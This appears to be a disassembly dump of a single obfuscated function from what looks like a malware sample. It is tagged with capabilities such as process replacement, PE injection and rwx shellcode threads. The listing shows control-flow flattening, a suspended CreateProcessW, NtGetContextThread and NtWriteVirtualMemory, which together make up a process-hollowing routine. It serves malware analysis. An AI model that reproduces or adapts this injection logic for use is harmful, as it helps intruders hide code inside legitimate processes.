Function at 0x10003d70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x164
mov eax, dword [0x1006e800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x16c], 0x3215144c
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], eax
sub eax, 0x803cb694
je 0x100051c5
jmp 0x10003dac
mov eax, dword [ebp - 0x170]
sub eax, 0x816284a6
je 0x10005b28
jmp 0x10003dc2
mov eax, dword [ebp - 0x170]
sub eax, 0x81f6b072
je 0x1000650b
jmp 0x10003dd8
mov eax, dword [ebp - 0x170]
sub eax, 0x83a67a2b
je 0x10006fa4
jmp 0x10003dee
mov eax, dword [ebp - 0x170]
sub eax, 0x841bb43e
je 0x100052c6
jmp 0x10003e04
mov eax, dword [ebp - 0x170]
sub eax, 0x842593f0
je 0x100072e3
jmp 0x10003e1a
mov eax, dword [ebp - 0x170]
sub eax, 0x847a3705
je 0x10005605
jmp 0x10003e30
mov eax, dword [ebp - 0x170]
sub eax, 0x86a85d4f
je 0x100053b9
jmp 0x10003e46
mov eax, dword [ebp - 0x170]
sub eax, 0x8d573264
je 0x1000769b
jmp 0x10003e5c
mov eax, dword [ebp - 0x170]
sub eax, 0x8d776bdc
je 0x100065c7
jmp 0x10003e72
mov eax, dword [ebp - 0x170]
sub eax, 0x8e14010f
je 0x10006da0
jmp 0x10003e88
mov eax, dword [ebp - 0x170]
sub eax, 0x8ef4d969
je 0x10005fff
jmp 0x10003e9e
mov eax, dword [ebp - 0x170]
sub eax, 0x90928d97
je 0x1000620e
jmp 0x10003eb4
mov eax, dword [ebp - 0x170]
sub eax, 0x91a891b8
je 0x100063f1
jmp 0x10003eca
mov eax, dword [ebp - 0x170]
sub eax, 0x92d99a92
je 0x100066ad
jmp 0x10003ee0
mov eax, dword [ebp - 0x170]
sub eax, 0x947fdc6a
je 0x10007757
jmp 0x10003ef6
mov eax, dword [ebp - 0x170]
sub eax, 0x95622b31
je 0x10005c9f
jmp 0x10003f0c
mov eax, dword [ebp - 0x170]
sub eax, 0x973781a6
je 0x1000647d
jmp 0x10003f22
mov eax, dword [ebp - 0x170]
sub eax, 0x986b9956
je 0x1000523b
jmp 0x10003f38
mov eax, dword [ebp - 0x170]
sub eax, 0x9a45bc2b
je 0x100070d4
jmp 0x10003f4e
mov eax, dword [ebp - 0x170]
sub eax, 0x9bb2cb70
je 0x10007a05
jmp 0x10003f64
mov eax, dword [ebp - 0x170]
sub eax, 0x9bd3b219
je 0x10006e48
jmp 0x10003f7a
mov eax, dword [ebp - 0x170]
sub eax, 0x9e35e9cd
je 0x10007885
jmp 0x10003f90
mov eax, dword [ebp - 0x170]
sub eax, 0x9e3dcc96
je 0x10007043
jmp 0x10003fa6
mov eax, dword [ebp - 0x170]
sub eax, 0xa5f892b8
je 0x100065f6
jmp 0x10003fbc
mov eax, dword [ebp - 0x170]
sub eax, 0xa61694a0
je 0x1000513e
jmp 0x10003fd2
mov eax, dword [ebp - 0x170]
sub eax, 0xa6435571
je 0x10005c31
jmp 0x10003fe8
mov eax, dword [ebp - 0x170]
sub eax, 0xaa092cdc
je 0x10006746
jmp 0x10003ffe
mov eax, dword [ebp - 0x170]
sub eax, 0xaaeb686d
je 0x10005925
jmp 0x10004014
mov eax, dword [ebp - 0x170]
sub eax, 0xacd58a9e
je 0x10007b0d
jmp 0x1000402a
mov eax, dword [ebp - 0x170]
sub eax, 0xad13cd13
je 0x10007923
jmp 0x10004040
mov eax, dword [ebp - 0x170]
sub eax, 0xad2c156c
je 0x10005545
jmp 0x10004056
mov eax, dword [ebp - 0x170]
sub eax, 0xad2e3723
je 0x100067a6
jmp 0x1000406c
mov eax, dword [ebp - 0x170]
sub eax, 0xadc56bcc
je 0x10006de5
jmp 0x10004082
mov eax, dword [ebp - 0x170]
sub eax, 0xaea6f938
je 0x10006a80
jmp 0x10004098
mov eax, dword [ebp - 0x170]
sub eax, 0xb0240ff7
je 0x10007adb
jmp 0x100040ae
mov eax, dword [ebp - 0x170]
sub eax, 0xb06069e5
je 0x100075f3
jmp 0x100040c4
mov eax, dword [ebp - 0x170]
sub eax, 0xb145d63c
je 0x1000698c
jmp 0x100040da
mov eax, dword [ebp - 0x170]
sub eax, 0xb20e4863
je 0x10007b6b
jmp 0x100040f0
mov eax, dword [ebp - 0x170]
sub eax, 0xb3e2b632
je 0x10006dff
jmp 0x10004106
mov eax, dword [ebp - 0x170]
sub eax, 0xb98f8993
je 0x10004f1f
jmp 0x1000411c
mov eax, dword [ebp - 0x170]
sub eax, 0xbb3053d5
je 0x10005de0
jmp 0x10004132
mov eax, dword [ebp - 0x170]
sub eax, 0xbfc63865
je 0x100052b7
jmp 0x10004148
mov eax, dword [ebp - 0x170]
sub eax, 0xc1fd009a
je 0x10006ee6
jmp 0x1000415e
mov eax, dword [ebp - 0x170]
sub eax, 0xc32ab121
je 0x10007434
jmp 0x10004174
mov eax, dword [ebp - 0x170]
sub eax, 0xc34bd5cf
je 0x10005730
jmp 0x1000418a
mov eax, dword [ebp - 0x170]
sub eax, 0xc5990bde
je 0x10006ae7
jmp 0x100041a0
mov eax, dword [ebp - 0x170]
sub eax, 0xc6a0e3f3
je 0x100060e0
jmp 0x100041b6
mov eax, dword [ebp - 0x170]
sub eax, 0xcb267498
je 0x1000750a
jmp 0x100041cc
mov eax, dword [ebp - 0x170]
sub eax, 0xcbbe618e
je 0x10005e99
jmp 0x100041e2
mov eax, dword [ebp - 0x170]
sub eax, 0xcc24543e
je 0x10007258
jmp 0x100041f8
mov eax, dword [ebp - 0x170]
sub eax, 0xce1a6d04
je 0x10007956
jmp 0x1000420e
mov eax, dword [ebp - 0x170]
sub eax, 0xcf49278b
je 0x10007a3e
jmp 0x10004224
mov eax, dword [ebp - 0x170]
sub eax, 0xcffed896
je 0x100061dd
jmp 0x1000423a
mov eax, dword [ebp - 0x170]
sub eax, 0xd2472fda
je 0x10006156
jmp 0x10004250
mov eax, dword [ebp - 0x170]
sub eax, 0xd345baaf
je 0x10006755
jmp 0x10004266
mov eax, dword [ebp - 0x170]
sub eax, 0xd4d318bd
je 0x100075d0
jmp 0x1000427c
mov eax, dword [ebp - 0x170]
sub eax, 0xd55a9a4a
je 0x10006a9e
jmp 0x10004292
mov eax, dword [ebp - 0x170]
sub eax, 0xd713be0c
je 0x100079f0
jmp 0x100042a8
mov eax, dword [ebp - 0x170]
sub eax, 0xd9ada0cc
je 0x10005343
jmp 0x100042be
mov eax, dword [ebp - 0x170]
sub eax, 0xda68467f
je 0x10007783
jmp 0x100042d4
mov eax, dword [ebp - 0x170]
sub eax, 0xdba583f5
je 0x10005d0f
jmp 0x100042ea
mov eax, dword [ebp - 0x170]
sub eax, 0xdbedfe05
je 0x100054ac
jmp 0x10004300
mov eax, dword [ebp - 0x170]
sub eax, 0xddbcf8f2
je 0x100074fb
jmp 0x10004316
mov eax, dword [ebp - 0x170]
sub eax, 0xde184826
je 0x1000684d
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x168]
mov ecx, dword [ecx + 0x3c]
add eax, 0x5e8ef371
add eax, ecx
sub eax, 0x5e8ef371
mov dword [ebp - 0xec], eax
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d573264
mov ecx, 0x11bbe578
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x470a2ed3
jmp 0x10007b8a
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
sub edx, 0xa35a0d61
sub edx, 1
add edx, 0xa35a0d61
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x459d7284
mov ecx, 0x986b9956
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x459d7284
mov ecx, 0xbfc63865
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x841bb43e
jmp 0x10007b8a
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
mov edx, dword [ebp - 0xdc]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0xcb267498
mov ecx, 0xd9ada0cc
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
sub edx, 0x5b00aee8
sub edx, 1
add edx, 0x5b00aee8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xee324c51
mov ecx, 0x86a85d4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x158]
add eax, 4
mov dword [ebp - 0xd4], eax
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
sub edx, 0x54d8357f
sub edx, 1
add edx, 0x54d8357f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee324c51
mov ecx, 0xf65418b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xcd], al
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x947fdc6a
mov ecx, 0xad2c156c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dl, byte [ebp - 0xcd]
mov eax, 0xc32ab121
mov ecx, 0x3429e1f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0xcc]
mov dword [eax], ecx
mov edx, dword [ebp - 0x138]
mov eax, 0x11e7c719
mov ecx, 0xf11c97c9
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x382c8024
jmp 0x10007b8a
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xc4]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov dword [eax], 0
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5c197798
mov ecx, 0xf56e8e26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
mov edx, eax
add edx, 0x374c43a
sub edx, 1
sub edx, 0x374c43a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74da6e2b
mov ecx, 0x60d20d91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov edx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
add edx, 0x5e468947
add edx, eax
sub edx, 0x5e468947
mov eax, dword [ebp - 0x158]
mov esi, dword [eax]
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x16c], 0x95622b31
jmp 0x10007b8a
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
sub eax, 0x6467c7c5
add eax, 1
add eax, 0x6467c7c5
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x16c], 0x394463b6
jmp 0x10007b8a
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
mov edx, eax
add edx, 0xe6345e1a
sub edx, 1
sub edx, 0xe6345e1a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9e35e9cd
mov ecx, 0x6952836b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
mov edx, eax
add edx, 0x97bbaa0d
sub edx, 1
sub edx, 0x97bbaa0d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26a5fd64
mov ecx, 0x5ec8fd1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x266ea1a0
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x4a78e8eb
jmp 0x10007b8a
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
sub edx, 0x5b1dbf0e
sub edx, 1
add edx, 0x5b1dbf0e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6da65baa
mov ecx, 0xd2472fda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x80], eax
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
mov edx, eax
add edx, 0xdd882d4d
sub edx, 1
sub edx, 0xdd882d4d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6da65baa
mov ecx, 0x5fd01b84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov esi, dword [ebp - 0x80]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0x84]
mov eax, 0x6346db28
mov ecx, 0x90928d97
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x124]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x16c], 0xf640fd81
jmp 0x10007b8a
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d0e3c30
mov ecx, 0x29749543
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x13c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x69], al
mov dword [ebp - 0x16c], 0x16d36521
jmp 0x10007b8a
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
add edx, 0x33096b42
sub edx, 1
sub edx, 0x33096b42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x592d6e3e
mov ecx, 0x246c8eae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
mov eax, 0x21042b54
mov ecx, 0xe90b244a
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x5d], al
mov dword [ebp - 0x16c], 0x7ed3e5e3
jmp 0x10007b8a
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x58], eax
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce1a6d04
mov ecx, 0xaa092cdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0xd345baaf
jmp 0x10007b8a
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
mov edx, eax
sub edx, 0x40710021
sub edx, 1
add edx, 0x40710021
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f24e296
mov ecx, 0xad2e3723
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x5c]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
sub edx, 0x7f96368c
sub edx, 1
add edx, 0x7f96368c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5f24e296
mov ecx, 0xf16a6d0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x17c5da28
or eax, edx
or ecx, 0x17c5da28
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x16c], 0x43778acf
jmp 0x10007b8a
mov dl, byte [ebp - 0x41]
mov eax, 0x7ed54766
mov ecx, 0xd55a9a4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x338c71b6
mov ecx, 0xc5990bde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x3c], ax
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x338c71b6
mov ecx, 0x7fe34944
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0x7ed54766
jmp 0x10007b8a
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0xde184826
jmp 0x10007b8a
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32dd82a4
mov ecx, 0x9bd3b219
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
mov edx, ecx
add edx, 0xf2a5d48f
sub edx, 1
sub edx, 0xf2a5d48f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x32dd82a4
mov ecx, 0xfa9f1214
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0xa5f892b8
jmp 0x10007b8a
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax + 0xc0]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x16c], 0x5b2f7653
jmp 0x10007b8a
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
add ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov ecx, dword [0x1006fb38]
mov eax, dword [0x1006fb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb0240ff7
mov ecx, 0x9a45bc2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x10007b8a
mov dword [ebp - 0x16c], 0xc9a7abe
jmp 0x10007b8a
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xd6f3b9a
sub ecx, eax
sub ecx, 0xd6f3b9a
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [0x1006fb38]
mov ecx, dword [0x1006fb34]
mov edx, eax
sub edx, 0x40cdae8e
sub edx, 1
add edx, 0x40cdae8e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x603beb08
mov ecx, 0x6e18ceeb
test dl, 1
